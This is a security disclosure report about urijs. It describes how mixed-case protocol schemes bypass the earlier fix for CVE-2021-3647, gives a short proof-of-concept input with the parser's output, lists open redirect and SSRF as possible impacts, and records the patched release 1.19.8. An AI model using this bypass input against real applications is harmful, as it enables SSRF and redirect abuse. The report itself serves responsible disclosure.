Authorization Bypass Through User-Controlled Key in medialize/uri.js
Reported on
Feb 14th 2022
Description
Bypass for https://huntr.dev/bounties/1625558772840-medialize/URI.js/
urijs
fixed the issue for CVE-2021-3647
, however an attacker can still exploit the issue due to case-sensitive checks in the earlier patch. Attacker can use case-insensitive protocol schemes like HTTP
, htTP
, HTtp
etc. in order to bypass the patch for that bug.
Proof of Concept
var URI = require('urijs');
var url = new URI("HTTPS:///github.com/abc");
console.log(url);
OUTPUT:
URI {
_string: '',
_parts: {
protocol: 'HTTPS',
username: null,
password: null,
hostname: null,
urn: null,
port: null,
path: '/github.com/abc',
query: null,
fragment: null,
preventInvalidHostname: false,
duplicateQueryParameters: false,
escapeQuerySpace: true
},
_deferred_build: true
}
Impact
Bypass host-validation checks, open redirect, SSRF etc. - depends on the usage of urijs
Occurrences
URI.js L516
add i
modifier for case-insensitive checks
Submitted the patch and PR: https://github.com/medialize/URI.js/pull/412
The fix provided by @r0hansh has been published as version 1.19.8 - https://github.com/medialize/URI.js/releases/tag/v1.19.8